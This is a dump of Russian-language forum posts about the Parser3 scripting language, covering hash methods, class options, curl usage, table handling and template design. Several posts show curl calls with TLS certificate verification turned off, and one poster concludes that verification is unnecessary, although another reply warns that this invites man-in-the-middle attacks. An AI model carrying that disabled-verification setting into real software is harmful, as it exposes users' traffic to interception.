"83214","С таким же \"успехом\" дословно читается:\
\
[code]\
 ^h1.add[$h2][$.at(1)]  # сложить h1+h2 - начиная от index=1\
[/code]\
\
поэтому не могу согласиться, что:\
[quote]Эти строки читаются однозначно и понятно. [/quote]\
\
И тем более, если add пришёл к нам от работы со множествами, то операций вставки для множеств - вообще нет в природе (если что), поэтому внезапный before/after выглядит вообще не из этой оперы (что и понятно).\
\
[code]\
add:\
 a1 + a2 = a2\
 b1 + -- = b1\
 c1 + c2 = c2\
\
union:\
 a1 + a2 = a1\
 -- + b2 = b2\
 c1 + c2 = c1\
\
sub:\
 a1 + a2 = --\
 b1 + -- = c1\
 -- + c2 = --\
[/code]\
\
\
При переходе в плоскость рядов, мы или сохраняем физику методов работы со множествами а для \"вставки\" добавляем более органичный insert/extend, иначе всё это выглядит как шиворот/навыворот. Когда add - становится insert-ом."
"83215","Визуализация и пример того, как это видится для ^множество.add[ ] в проекции на режим рядов (по индексу) уже представленно тут http://www.parser.ru/forum/?id=83206\
\
\
И кстати, если по этому же принципу добавить index-режим для union и intersection, то это тоже будет иметь физ.смысл, хоть и редкоприменимый.\
\
А вставка требует несуществующего в природе множеств - операции для рядов: insert/extend и move (переместить под-ряд в другое место ряда), опять же всё это требует еще раз переосмысления..."
"83216","Есть стойкое ощущение, что либо я фундаментально ошибаюсь насчет парсеровского add, либо одно из двух...\
\
http://s33.postimg.org/dmojym50v/hash_overlay.png\
\
\
Просто, я никак понять не могу, я сам себя обманываю, или в этом есть смысл. Мне по-прежнему кажется, что т.к. де-факто мы имеем две разных арифметики операций: \
1) со множествами (ключи) = overlaying\
2) с рядами (индексы) = overlaying + insertion \
\
То, чисто логически - с рядами можно отдельно производить все те же операции \"слияния/пересечения\", как со множествами (overlaying), причем со смещением по индексу, так и отдельно появляется механика - \"вставки между\" insertion (http://s33.postimg.org/590zyfxdb/hash_insert.png). \
\
Только в рядах и только при insertion мы имеем право вводить понятие, before/after, для overlaying-методов - это не имеет смысла и только путает, там имеет смысл или at или offset, т.е. точку начала наложения, а не вставки.\
\
Таким образом, все сущ.для множеств методы (add,union,sub,и даже intersect) - могут быть доиграны в применении к рядам (с $.at(index)) и я привел все базовые случаи для add + $.at(index) (тут = http://www.parser.ru/forum/?id=83206)\
\
А для insertion-операций: я не знаю, надо или вводить отдельный метод (insert/append/extend), который применим только с индексами в аргументе, или тогда не смешивать так откровенно не органичное для операций со множествами поведение из рядов (типа before/after)."
"83217","[quote]http://s33.postimg.org/dmojym50v/hash_overlay.png[/quote]\
\
Все так. Но: add меняет существующий хеш, остальные методы возвращают новый хеш (не изменяя существующие).\
\
[quote]Таким образом, все сущ.для множеств методы (add,union,sub,и даже intersect) - могут быть доиграны в применении к рядам[/quote]\
\
Не совсем согласен, поскольку все методы кроме add возвращают новый хеш, поэтому порядок там мне кажется имеет смысл менять только в том смысле, ключи какого хеша брать первыми или за основу. А точнее не имеет смысла, поскольку никому особо не нужно. :)\
\
[quote]2) с рядами (индексы) = overlaying + insertion [/quote]\
\
По факту вставка уже происходит, но всегда в конец. Все, что мы сейчас делаем, это добавляем возможность вставки не в конец, а в любое место с точки зрения порядка ключей."
"83218","Попробую очередной раз формализовать то, что мне доставляет подсознательный дискомфорт во всем этом подходе к index/key. И почему.\
\
\
1. [b]Парсеровский хеш[/b] = Упорядоченный Словарь\
                               \
2. [b]Упорядоченный Словарь[/b] = { ключи(множество) + индексы(ряд) -> значения(набор) }\
То есть 2 проекции: множества + ряда -> на набор значений\
\
3. [b]Множество[/b] = набор уникальных элементов, которое имеет характерную природу операций со множествами (overlaying)\
\
4. [b]Ряд[/b] = упорядоченное множество(!) уникальных элементов (индексы). Т.е. ряд наследует все свойства \"множества\" (и операций над ним) + добавляет природу своих операций, связанных конкретно с последовательностью (insertion).\
\
\
[url=\"http://i.imgur.com/pXyn282.png\"]Схема_1 \"Упорядоченный словарь\"[/url]\
\
5. При работе по ключу или индексу, в любом случае происходит работа в два этапа:\
  [b]I этап[/b] - операции с выбранной проекций (ключ или индекс)\
  [b]II этап[/b] - упорядочивание второй проекции (индекс или ключ), после операций с I\
\
[url=\"http://i.imgur.com/sTUVprG.png\"]Схема_2 \"Режим работы по ключам\"[/url]\
[url=\"http://i.imgur.com/fXhzYqx.png\"]Схема_3 \"Режим работы по индексам\"[/url]\
\
Т.е. сначала происходят правила для операций \"множества или ряда\" на I-ом этапе (выбранный режим), и с результатом происходит применение правил (целостности) для \"множества\" или \"ряда\" на II-том этапе. \
\
Это де-факто и происходит. Когда мы складываем ключи, а индексы перестраиваюся. Теперь, когда мы производим операции над индексами, ключи уже II-ом этапе - приводятся в соответствии с \"множеством\" (коллизия одноименных ключей).\
\
\
6. Т.к. обе проекции на значение = ключи + индексы - сами связаны между собой, то во многих случаях свойство \"ряда\" для индексов (как самостоятельного множества) - вырождается, и поставляет только порядок в чистом виде для \"множества\" ключей. \
\
Однако, если производить операции с двумя хешами, используя смещение по индексу, то индексы хешей работают как \"полноценные ряды\": то есть, можно отдельно провести операции для индексов, как для самостоятельного множества (add,union,sub),\
\
[url=\"http://i.imgur.com/gSjBbVM.png\"]Схема_4: \"Операции со множествами для ключей и для индексов\"[/url]\
\
А также,  ряд имеет свои, своейственные только ему операции со \"вставками\"/\"срезами\":\
\
[url=\"http://i.imgur.com/gjQZglH.png\"]Cхема_5: \"Insertion-операции только для рядов (индексов).[/url]\
\
\
[b]Вывод:[/b] понятно, что кажого результата, приведенного в схемах, можно достичь и методами (из другой природы), то есть поменять порядок элементов - методами работы со множествами, или вставить/сместить - путем пересечения/вычитания, но это не должно быть самоцелью, так и умножать можно только операциями сложения. \
\
Самое важное, как кажется - это выдать ожидаемую и понятную модель поведения, даже если результата можно достичь несколькими путями, что всегда будет справделиво, а для простых случаев, всегда будет более, чем 2 способа сделать одно и то же.\
\
Однако, это не должно быть призывом к действию \"выкинуть всё\", чем можно достичь того же, и попутно сломать теорет.модель - смешивав операции множества и ряда в одну кучу, так можно вообще сделать ^хеш.do[ $.brainfuck_options[] ]\
\
Тем более, что индексам (как ряду, и как самостоятельному множеству) - есть что добавить отдельно, от себя, к каждому из прошлых методов (которые только для множеств (ключей)."
"83219","И в принципе такой метод и в Set, и в OrderedSet - встречается, и если еще учесть что он при этом сразу производит действия, что очень свойственно операциям с упорядоченными множествами (рядами).\
\
То наверное, add действительно можно читать как метод для рядов.\
В общем, у Парсера получается много исторических особенностей, и поэтому все на откуп авторов и причастных."
"83221","Не сразу понял в чем ошибка, и о какой специфической опции, которую можно упоминать лишь однажны - идет речь. Грешил на use в конструкторе.\
\
Оказалось, что dynamic.\
А порядок следования этих опций в @OPTIONS - имеет значение?\
\
Просто, когда \
в основном + подключаемом файле написано одно и то же:\
[code]\
@OPTIONS\
partial\
dynamic[/code]\
\
Получаю:\
You can specify call type option in a class only once\
\
Когда, наоборот (так же, в обоих одно и то же):\
[code]\
@OPTIONS\
dynamic\
partial\
[/code]\
\
Ошибки - нет.\
\
По факту, я понимаю, что из-за \"неправильного\" порядка следования во втором случае, опция - dynamic у подключаемого файла просто не передается, раз ошибки нет.\
\
Правда, то, что этот порядок оказывается есть, из документации явно не следует."
"83223","try-test.html:\
[code]@main[]\
^wrapper{\
	$t[^test::create[]]\
	$result[^t.run[]]\
}\
\
@wrapper[code]\
^try{\
	$code\
}{\
	$exception.handled($exception.type eq 'my.exeption')\
}\
\
\
@CLASS\
test\
\
@create[]\
\
@run[]\
^missing[][/code]\
\
В версии 3.4.4 ошибка ожидаемая:\
[quote]Unhandled Exception (Debug)\
\
undefined method\
missing\
\
/web/site/www/try-test.html(22)\
exception.type=parser.runtime\
run /web/site/www/try-test.html(4)\
t /web/site/www/try-test.html(3)\
code /web/site/www/try-test.html(10)\
try /web/site/www/try-test.html(9)\
wrapper /web/site/www/try-test.html(2)[/quote]\
\
Версия 3.4.5 ругается на try, а не на missing:\
[quote]Unhandled Exception (Debug)\
\
undefined method\
try\
\
/web/site/www/try-test.html(9)\
exception.type=parser.runtime\
wrapper /web/site/www/try-test.html(2)[/quote]\
\
OS X 10.11x64, Parser 3.4.4/3.4.5 beta."
"83224","Может какое то специфическое расширение браузера гадит? Антивирус?\
Сам пользуюсь хромом - никогда этого глюка не видел"
"83226","Обычно, если у одних работает, а у других нет - проблема на стороне тех у  кого не работает. Попробуйте отключить все расширения, антивирусы, файрвол,если есть."
"83227","Доброе время суток! Как проверить, посылается ли запрос через curl с поддержкой SNI или без нее?\
Версия библиотеки curl: 7.32.0.0.\
Может быть надо какую-то опцию добавить, чтобы SNI точно был включен?\
[code]^curl:session{\
	$j[^curl:load[\
		$.url[^untaint{$url}]\
		$.charset[UTF-8]\
		$.useragent[Parser3]\
		$.ssl_verifypeer(0)\
		$.ssl_verifyhost(0)\
		$.timeout(5)\
		$.postfields[$sPOST]\
		$.httpheader[$hHeaders]\
	]]\
}[/code]\
К слову, у меня Apache/2.2.22 (Win32), сборка без SSL. И, надеюсь, не придется его настраивать."
"83228","Доброго всем!\
Хочу чтобы при запросе какого-нибудь файла из папки /pic\
выдавался файл из базы(хранящийся в BLOB поле.\
Написал код который разбирает текст запроса и формирует соответствующий ответ в виде файла\
[code]\
@ifloadfile[][mtc]\
$uri[$request:uri]\
$mtc[^uri.match[^^/pic/(.+)_(\\d+7)(\\.\\w+)^$]] \
^if($mtc > 0){\
	^try{\
		$ld_file[^file::sql{SELECT `filedata`,`name` FROM `base_file` WHERE `id`='$mtc.2' AND `name`='${mtc.1}$mtc.3'}[$.limit(1) $.offset(0)]]\
	$response:body[$ld_file]\
	}{\
		$exception.handled(true)\
	}\
}\
\
[/code]\
Все работает, файл выдается. Вот пример:\
http://php.vkmail.top/pic/chrysanthemum_527.jpg\
\
Проблема в том, что все браузеры получают код 404 и не кэшируют изображение((((\
\
[code]\
Cache-Control: no-store, no-cache, must-revalidate, proxy-revalidate\
Connection: keep-alive\
Content-Disposition: inline; filename=\"Chrysanthemum.jpg\"\
Content-Length: 879394\
Content-Type: image/jpeg\
Date: Sun, 12 Jun 2016 20:20:45 GMT\
Expires: Sun, 31 Dec 2000 22:01:01 GMT\
Keep-Alive: timeout=60\
Last-Modified: Sun, 12 Jun 2016 20:20:43 GMT\
Location: http://php.vkmail.top\
Pragma: no-cache\
Server: nginx/1.8.0\
Set-Cookie: cookie=on; expires=Mon, 12 Jun 2017 20:20:45 GMT; path=/\
[/code]\
ПОдскажите, как сделать код 200 и убрать Cache-Control: no-store, no-cache, must-revalidate, proxy-revalidate?\
\
ЧЯДНТ?"
"83229","[quote]ПОдскажите, как сделать код 200 и убрать Cache-Control: no-store, no-cache, must-revalidate, proxy-revalidate?[/quote]\
\
Парсер не выставляет статус и Cache-Control по собственной прихоти.\
Очевидно, что значения данных заголовков формируются вашим кодом.\
\
Поищите «404» и «Cache-Control» в файлах проекта.\
Вероятно, формирование ответа продолжается после задания $response:body."
"83230","Такой Cache-Control выставляет скорее всего nginx вместе с 404 статусом. Возможно не совсем верно настроен nginx, возможно (скорее всего) у вас неправильно настроен реврайтинг. А вообще хранить картинки в SQL - это крайне плохая идея, для этого есть более специализированная и отлаженная база данных - файловая система.\
\
Вот похожая на вашу проблема - http://craftcms.stackexchange.com/questions/3088/adding-cache-headers-to-nginx-configuation-file-breaks-the-admin-area"
"83231","Заменил libcurl.dll на версию 7.40.0.0 с поддержкой SSL, но понятия не имею, как работать с ней в защищенном режиме.\
Надо что-то делать с сертификатом ca-bundle.crt?\
Пробовал подключать через опцию $.capath[/ca-bundle.crt] и $.ssl_verifypeer(1), но результат такой:\
[quote]Peer certificate cannot be authenticated with given CA certificates[/quote]\
Можете подсказать как правильно настроить?"
"83232","Что вы пытаетесь сделать, почему вас SNI тревожит, какие ошибки и т.п.\
\
Если вы пытаетесь обратиться к внешнему хосту на котором нормально настроен ssl, то ничего особенного передавать curl'у не надо — только url с протоколом https."
"83233","Понял в чем дело:\
у меня в .htaccess строчка есть:\
\
ErrorDocument 404 /404.html\
\
А при вызове /404.html запускается @auto.p, что и позволяет мне производить разбор любого URI..."
"83234","Да, оказалось, что до этого у меня не SSL-версия библиотеки была и кое-какие ошибки. А $.ssl_verifypeer и $.ssl_verifyhost должны нулями быть и никакие сертификаты не нужны в моем случае."
"83235","... только если веб-сервер с которым вы работаете имеет самоподписанный сертификат и вы сами контролируете топологию сети между серверами. Если сертификат нормальный и сеть не ваша, то надо ставить единицы, чтобы не получить атаку «мужик по середке» (man in the middle)."
"83237","Вы так и не описали задачу, а гадать мы не будем."
"83238","Ну, задача самая простая, надо отправлять 10-20 небольших запросов в секунду на https сервер через cURL. Вроде больше ничего особенного."
"83241","А точнее именно класс curl, через который происходит обращение."
"83242","...и теперь получается, что все это оффтопик."
"83243","Вот в такой конструкции:\
[code]$h[^hash::create[]]\
^str.match[(foo)][g]{\
	$h.[b]$numb[/b][$match.1]\
}[/code]\
\
Можно как нибудь добыть этот самый numb?\
В принципе ничего не мешает сделать внешний счетчик\
\
[code]$h[^hash::create[]]\
$numb(0)\
^str.match[(foo)][g]{\
	$h.[b]$numb[/b][$match.1]\
	^numb.inc[]\
}[/code]\
\
Но может есть способ [i]покрасивее[/i] и без дополнительных переменных?"
"83244","[code]$h[^hash::create[]]\
^str.match[(foo)][g]{\
	$h.[^h.count[]][$match.1]\
}[/code]\
\
Скоро можно будет так:\
[code]$h[^hash::create[]]\
^str.match[(foo)][g]{\
	$h.($h)[$match.1]\
}[/code]"
"83245","[code]$matches[^str.match[(foo);g]]\
$matches[^matches.hash(^matches.offset[])[1;$.type[string]]][/code]"
"83246","Какой-нибудь конвертер или что-то вроде"
"83247","Покажите пример, где и как замена скобок в парсеровском коде помогут. Что делать с разными типами скобок? Где нам взять несколько типов табуляцмй? Как разбираться в пробельными символами, которые имеют смысл в контексте переменных?\
\
p.s. HAML «помогает» встраивать код на Руби в HTML. У нас такой проблемы нет совсем. :)"
"83248","Для упрощения восприятия кода. Достаточно было бы избавиться только от квадратных скобок."
"83249","И как по вашему из одного символа табуляции потом можно будет получить два разных символа '[' и ']'? :)"
"83250","И расскажите как это будет работать внутри текста. Мы ведь помним, что парсер - это не только язык, но и шаблонизатор. :)))"
"83251","А то хеш/дайджестов пруд-пруди. А симметричного ни одного. \
Что-то типа AES, RC4 \
\
Даже один из методов DES умеет (что симметричное и есть), но все про дайджест.\
Иначе надо или exec или завязываться на функции DB"
"83252","Нужно, например, для буквенно-цифрового сокращения ID-шников \
\
string:base64 - делает это неоптимально (считая цифры символов), да и подпиливать под себя (символы конца строки, / и постфикс = или == под)\
\
Типа такого 241920 => Zyj  \
\
\
Сейчас через \"одно место\" конечно сделано и работает.\
Точнее по-честному, свой метод преобразования из dec в систему счисления любого порядка и наоборот. \
\
Итоговый результат либо представляется позиционными секциями в десятичной, либо при указании словаря подставляет разряды.\
\
Но смотреть на это, понимая, что для парсера по-байтные/по-символьные операции это не то, на что он расчитан - как-то некомфортно..."
"83253","Вообще это замечательно и достаточно эффективно в несколько строк пишется на парсере. Никаких побайтных операций здесь не нужно, только деление на разрядность системы счисления да mid одного символа из переданной строки-словаря..."
"83254","Всё, что больше 64-х бит даже convert не переваривает.\
Соответственно, более-менее приличные идентификаторы к своим системам не привести — ни деление не сделать, ни остаток ни получить."
"83255","Уверен у ветеранов тут есть 100 и 1 класс, упрощающий работу (и с теми же хешами, типа deep_copy, и с convert-ами)\
\
Сообщество и так не развито, так еще и прикладными хелперами/классами никто не спешит делиться... :(  Все что лежит в доступе - крохи, или покрытые мхом либы (типа скроллера)."
"83256","Я так понимаю, что Вы имеете ввиду, что класс math не имеет отдельнных методов для работы с бесконечно длинными целыми числами (что не сложно по сути и есть или в либах или из коробки - опять питон придётся упомянуть в суе)..."
"83260","Хочу сказать, что вся \"псевдо-критика\" (а точнее, бесконечные хотелки), скорее тенденция растущих потребностей.\
\
Выбор в пользу этой технологии, сначала для прототипирования, а потом и бета-продакшена - себя полностью оправдал. \
\
\"Pocket Rocket\" - пожалуй лучшее решение, для прототипирования и бета-продакшн, которое протянет \"технический долг\" проекта дольше многих удобных решений по быстрой и высокоуровневой сборке. \
\
Да, пришлось написать свой фреймворк-обвязку под свои нужды, но господа, 15-25ms на полный фарш: от валидации, нормализации и структурирования (иерархические структуры) полей HTTP-запроса, сквозь крипто-кукис, токены, до компонентного шаблонизатора с локалями, по-компонентного и общего кеширования, темами, server-side-адаптивностью и запросом к БД... Где только 3-5ms сам Apache. И все это за 5-6Mb RAM-footprint'a на процесс... - [i]Это очень неплохо в современных реалиях![/i]\
\
Если сранивать с каким-нить популярным Drupal (PHP), который с кешированием на HelloWorld-корп.сайтике думает по ~120ms и кушает до 128Mb на запрос. А при отправке 1001-параметра POST-ом задумывается  до 500-600ms, Parser3 же вообще практически не заметил разницы в объеме переменных.\
\
Так что, хочется выразить благодарность всем, кто вкладывает свой труд и знания в эту технологию:\
\
В первую очередь авторам, указанным в документации:\
 Константин Моршнев (MoKo) \
 Александр Петросян (PAF)    # за исторический вклад\
 Михаил Петрушин (Misha v.3) \
\
Community-участникам (коммитеры и ведущие полезные дискусси):\
 Волчков Олег (Sumo)\
 Марьин Алексей (G_Z)\
 Обухов Макс (Maxx) # много полезных ответов\
 Евгений Лепешкин (Eugene Spearance) # за полезные треды и регэкспы\
\
Авторам самой документации: (их форум-ников не знаю) \
 Алексей Сорокин \
 Владимир Муров \
\
Ну и всем, кого нет в списке, лишь по причине моего незнания и скудного опыта в Parser3-сообществе."
"83262","- def. он гораздо короче бесчисленных isset()\
- table. она отжирает гораздо меньше памяти, чем array (я про sql)\
- taint. ручной php-шный escape-инг уже в печёнках сидит"
"83263","Так вроде остановились на этом: http://www.parser.ru/forum/?id=83190.\
Возможно правда лучше slice mid и назвать. Ну и put если не в пару строк будет, может и не буду делать. :)"
"83264","ну ладно, про то, что в top3 не вошли -- это я преувеличил. на 3 месте щас, не без моей помощи, правда :).\
\
первые две:\
http://www.parser.ru/forum/?id=50817\
http://www.parser.ru/forum/?id=57488\
\
четвёртая:\
http://www.parser.ru/forum/?id=81847"
"83265","я бы ещё подумал об усовершенствовании hash::sql (опции?), чтобы можно было использовать вместо table (хотя он будет жрать больше памяти).\
\
основная идея в том, чтобы мог возвращать \"array\" (хэш с числовыми ключами?). опционально -- чтобы можно было указать опции, согласно которым он сделал бы преобразование данных (по аналогии с json:parse), чтобы можно было получить как бы таблицу, гда значения не строки, а уже объекты (числа, даты, bool).\
\
типа:\
[code]\
@get[]\
$result[^hash::sql{\
    SELECT\
        id,\
        thread_id,\
        is_published,\
        dt,\
        name,\
        options\
    FROM\
        forum_messages\
    WHERE\
        ...\
}[\
    $.array(true)\
    $.transform[\
        $.id[int]\
        $.thread_id[int]\
        $.dt[date]\
        $.is_published[$method]\
        $.options[$method]\
    ]\
]]\
\
\
@method[key;value]\
^switch[$key]{\
    ^case[options]{\
        $result[^json:parse[^taint[as-is][$value]]]\
    }\
    ^case[is_published]{\
        $result(^value.bool(false))\
    }\
    ^case[DEFAULT]{\
        $result[$value]\
    }\
}\
[/code]"
"83266","Ну, подобный код пишется за несколько минут:\
\
[code]@convertN[n;base;digits]\
$result[]\
^while($n>=$base){\
    $new(^math:trunc($n/$base))\
    $result[^digits.mid($n-$new*$base;1)$result]\
    $n($new)\
}\
$result[^digits.mid($n;1)$result]\
\
@main[]\
^convertN(65535;16)[0123456789ABCDEF]\
[/code]\
\
\
[quote]Сообщество и так не развито, так еще и прикладными хелперами/классами никто не спешит делиться... :([/quote]\
\
Одна из причин - что базовый набор методов позволяет сразу заниматься прикладными задачами. :) А вообще если у кого есть чем пополнить [url=\"http://www.parser.ru/lib/\"]Библиотеку[/url] - присылайте, разместим."
"83267","Смотрели на Blowfish. На эту тему есть тикет #939. Проблемы традиционные - для начала надо определиться с API. :) Из тикета:\
\
[quote]Делаем в виде:\
\
^math:encrypt[метод;строка|файл;опции]\
^math:decrypt[метод;строка|файл;опции]\
\
опции - $.encode[hex|base64|binary - по умолчанию?]\
в случае binary результат файл, в остальных строка?\
\
[/quote]"
"83269","[quote]Вы имеете ввиду, что класс math не имеет отдельнных методов для работы с бесконечно длинными целыми числами[/quote]\
\
Да хотя бы с конечными.\
Для работы с идентификаторами нужно хотя бы 64 бита, а лучше 128.\
\
Но задача редкая и пришли к мнению, что делать более ресурсоёмкими хранение и все операции с числами только ради них не стоит."
"83272","Выглядит очень ясно и читабельно, правда не видно ключа в аргументах или опциях."
"83274","Есть необходимость разделить код в зависимости от платформы.\
В CGI-режиме нет проблем посмотреть на $env:SERVER_SOFTWARE и определить окружение.\
А вот при использовании Парсера в качестве интерпретатора скриптов в $env поля SERVER_SOFTWARE нет.\
\
Можно, конечно, всё прописать в конфиге, но это не очень элегантно, так как такие файлы приходится исключать из системы контроля версий.\
\
На что ещё можно ориентироваться для определения платформы?"
"83277","Если вызывать curl с параметром $.verbose(1), то Парсер проваливается:\
[quote][Fri Jun 17 09:07:37 2016] [972] Unhandled exception 0xC0000005 at 0x7C95CCA2 [uri=/test/, method=GET, cl=0][/quote]\
Вот пример:\
[code]^curl:session{\
	$j[^curl:load[\
		$.url[^untaint[as-is]{$url}]\
		$.useragent[Parser3]\
		$.timeout(3)\
		$.ssl_verifypeer(0)\
		$.ssl_verifyhost(0)\
		[b]$.verbose(1)[/b]\
		$.stderr[/curl-jsonhash-stderr.log]\
	]]\
}[/code]\
Версия Parser: 3.4.4 (compiled on i386-pc-win32)\
Версия libcurl: 7.40.0.0 SSL"
"83278","Цитируя документацию:\
[quote][b]^memcached.add[ключ;строка] [/b]\
\
Если на сервере уже есть запись с указанным ключём, то метод ничего не делает и возвращает false. Если такой записи нет - метод сохраняет её на сервере и возвращает true. [/quote]"
"83279","Уже было - http://www.parser.ru/forum/?id=81468.\
Дополнительно могу сказать, по отладчику видно, что падает действительно внутри curl."
"83281","Вдогонку предлагаю разрешить в string-режиме указывать пустое значение столбца значений, чтобы получать void-значение ключа.\
\
[code]$table[^table::create{id	url	fname	sname\
1	/jj/	John	Johnson\
2	/pp/	Peter	Peterson}]\
$hash[^table.hash[id;;$.type[string]]]\
->\
$.1[]\
$.2[][/code]"
"83282","Понадобилось проверить сущ.метода у класса из контекста этого же класса (в другом методе этого же класса)\
\
Делаю:\
[code]\
^if($self.Method is junction){ ... }   \
^if(^reflection:is[Method;junction]){ ... }\
\
в обоих случаях получаю true\
\
[/code]\
\
Помню, что давно наступал на какие-то грабли то ли с def-ом, то ли, с is в сочетании с методом или junction-переменной в коде... не помню. \
\
Вот хочется комментарий, что ^reflection:is расширяет/дополняет"
"83283","При проверке junction-method — ничем не отличаются.\
Но если проверяется junction-code — is приведёт к его выполнению и проверке не типа junction, а результата его выполнения.\
\
[code]$code{^throw[test]}\
$is_junction($code is junction)[/code]\
\
[code]$code{^hash::create[]}\
^if($code is hash)[y;n][/code]"
"83284","Что-то я не могу до конца врубиться. Намудрил что-то.\
\
Есть файл all_klass.cfg в данном файле все ученики школы. В файле есть столбец \"klass_name\" - имя класса (ну 11А, 10Б, 9В), мне необходимо вывести первых 2-ух учеников 11А, первых 2-ух учеников 10Б и первых 2-ух учеников 9В.\
\
\
файл выглядит так:\
\
[code]\
pp	klass_name	fio\
14	11А	Петя\
13	9А	Ваня\
12	10А	Таня\
11	11А	Федя\
10	9К	Тема\
9	11А	Антон\
8	13А	Вова\
7	10B	Женя\
6	11А	Саша\
5	9V	Оля\
4	11А	Полина\
3	10B	Рита\
2	9V	Лена\
1	9V	Леша\
[/code]\
\
Забегая в перед скажу, что выводу учеников я следующим образом: \
\
[code]\
^school_klass_[11A]\
^school_klass_[10B]\
^school_klass_[9V]\
[/code]\
\
т.е. по идеи должно вывести по 2 ученика которые встречаются в таблице первыми т.е. выше всех \
с 11А (Петя и Федя)\
с 10В (Женя и Рита)\
с 9V (Оля и Лена)\
\
\
У меня получается следующее:\
\
[code]\
@load_img_static[]\
$result[^table::load[/school/all_klass.cfg]]\
\
\
@school_klass_[comp][sections]\
$sections[^load_img_static[]]\
$sectionsIMGPro[^sections.select($sections.klass_name eq \"${comp};^sections.offset(+1);$.limit(2)\")]\
^sectionsIMGPro.menu{^img_klass_cell[$sectionsIMGPro.fields]}\
[/code]\
\
Ошибки не какой не выдает, но и данные не выгружает. Подскажите пожалуйста, где я ошибся.\
\
Спасибо."
"83285","[code]@school_klass_[comp][sections]\
$sections[^load_img_static[]]\
$sectionsIMGPro[^sections.select($sections.klass_name eq $comp)[$.limit(2)]]\
^sectionsIMGPro.menu{^img_klass_cell[$sectionsIMGPro.fields]}[/code]"
"83287","Еще вопрос, строки \
\
[code]$sectionsIMGPro[^sections.select($sections.klass_name eq $comp)[$.limit(2)]][/code]\
\
и\
\
[code]$sectionsIMGPro[^sections.select($sections.klass_name eq \"${comp}\")[$.limit(2)]][/code]\
 \
Получается одинаковые?\
\
Т.е. не обязательны ковычки и скобки?"
"83288","Данные лучше не загружать при каждом вызове, а сделать это заранее и преобразовать в хеш.\
Заодно и отбор записей не понадобится.\
\
[code]@main[]\
$table[^table::create{pp	klass_name	fio\
…}]\
$limit(2)\
\
$student_by_class[^table.hash[klass_name][\
	$.distinct(true)\
	$.type[table]\
]]\
\
^student_by_class.foreach[class;students]{\
	$students[^table::create[$students;$.limit($limit)]]\
\
	<h2>$class</h2>\
	<ol>^students.menu{\
		<li>$students.fio</li>\
	}</ol>\
}[/code]"
"83290","Извините конечно за бестактный вопрос, но как проверить работает кеш на сайте или нет?"
"83293","Догружаю методы класса из файлов (модулей), делая это по \"ходу пьесы\" из контекста объекта класса.\
\
Почему-то решилось, что в сочетании @OPTIONS partial + dynamic = для двух разных объектов (экземпляров класса) - методы будут подгружаться в изолированном контексте, а это не так - они подгружается/перекрываются статически на весь класс.\
\
Чуть не отстрелил себе ногу, беззаботно взяв на вооружение такое сочетание, но вовремя обнаружил что \"подмешаные\"(?) - загруженные новые методы \"внутри одного объекта\", тут же появляются и в другом экземпляре, в том числе перетирая поверх одноименные.\
\
В моем случае, модули (файлы с методами) не используются самостоятельно. То есть предполагают только \"сборку\" конкретного класса в контексте объекта, но вот эти сборки должны быть изолированы по набору этих методов.\
\
В моей задаче меня в принципе бы устроило и статическое применение класса, т.к. экземпляры я не использую одновременно, а в лучшем случае последовательно, но тогда мне нужна деструкция методов до первоначального состояния класса (его первого упоминания/объявления до всяких ^use[]).\
\
[b]Вопрос:[/b]\
Есть много разных мыслей, требующих множества проверок практикой.\
Может кто-то подскажет прямой рабочий подход? Очевидно, что ^process в его штатном применении мне тоже не может, он делает ровно то же. \
\
\
P.S.: В общем случае, я так понимаю задача где-то на пересечении ключевых слов \"множественное наследование\" и \"миксины\" - но пока я в этом не разобрался."
"83296","Проверяет наличие заданного класса среди доступных.\
\
[code]^reflection:def[class;MyClass][/code]\
\
Аналог\
[code]$classes[^reflection:classes[]]\
^classes.contains[$class_name][/code]"
"83297","Пока еще не совсем разобрался, как конкретно это применить в моем случае.\
Тем более на основе этого кода, в суть которого я еще не вник.\
\
Если бы вы могли показать пример на основе вашей реализации по ссылке, как сделать два объекта \"одного класса\", наборы методов которого будут изолированы. \
\
Насколько я с наскока понял вообще про миксины, то это просто такие миксин-классы, которые умеют выдергивать кучу методов отовсюду (вдоль и поперек), собирая в свою одноименную имплементацию - миксин.\
\
Однако, два объекта одноименного миксин-класса, как я понимаю - это все равно будет тоже самое или нет?\
\
То, что мне понадобилось, по сути вылазит из класс-ориентированной парадигмы в сторону прототип-ориентированной. И мне нужен класс(объект)-прототип, от которого я могу отпочковать объект и дофаршировать его методами, не беспокоясь о других объектах порожденных от этого прототипа.\
\
Первое решение в лоб, что мне приходит - это создать какойто мета-класс/обёртку, типа Proto, который внутри динамически создает разноименные классы \"одного семейства\", добавляя какой-то уникальный постфикст/uid типа ClassA_0x1138, тогда два объекта Proto.ClassA.method1  Proto.ClassA.method1 - будут иметь разные методы как по набору так и по содержанию.\
\
Или миксин умеет это?"
"83298","[quote]То, что мне понадобилось, по сути вылазит из класс-ориентированной парадигмы в сторону прототип-ориентированной. И мне нужен класс(объект)-прототип, от которого я могу отпочковать объект и дофаршировать его методами, не беспокоясь о других объектах порожденных от этого прототипа.\
\
Первое решение в лоб, что мне приходит - это создать какойто мета-класс/обёртку, типа Proto, который внутри динамически создает разноименные классы \"одного семейства\", добавляя какой-то уникальный постфикст/uid типа ClassA_0x1138, тогда два объекта Proto.ClassA.method1 Proto.ClassA.method1 - будут иметь разные методы как по набору так и по содержанию.[/quote]\
\
Я от уникальных классов в своё время отказался.\
Миксины тоже крайне своеобразны и вреда от них в виде запутывания кода больше чем пользы.\
\
Пока нет множественного наследования лучше применять обычное.\
Это хоть и ограниченный, но самый просто и понятный метод.\
\
Расширяйте класс, создавая объект-наследник, который будет содержать набор специфических методов."
"83299","... изобретать шаблонизатор из pf1/pf2. :)))"
"83301","...очень руки чешутся, и именно в шаблонизаторе, как сказал Sumo, походу это именно то, что мне нужно. Но PF с порога не разобраться что там и как происходит, все тянет за собой свою особую инфрастуктуру (стораджи, базовый класс PF) и куча всего. \
\
Может кто нарисует на пальцах простую реализацию и подход уникальных классов."
"83304","Да, дошло дело наконец до шаблонизатора, за год забыл про грабли с partial, и наступил ни них снова, но это можно решить двумя способами или оборачивать в уникальные динамические классы или генерить уникальные статические (синглтоны) отталкивающиеся от базового. Синглтоны вроде будут даже безопаснее - один класс - гарантировано один контекст. \
\
Но вообще генерить два полных представления за один запрос - надо еще подумать, где это пригодится (но может, факт!)\
\
В код PF поглядываю, но чаще безуспешно, обойду, посмотрю, полистаю бездумно...ну невоспринимает глаз венгерскую нотацию, хоть палками бей.\
\
Поэтому, продолжаем изобретать Шаблонизатор Шрёдингера, логотип Ш--Ш  (двутавровая обоюдная грабля - убойная вещь)"
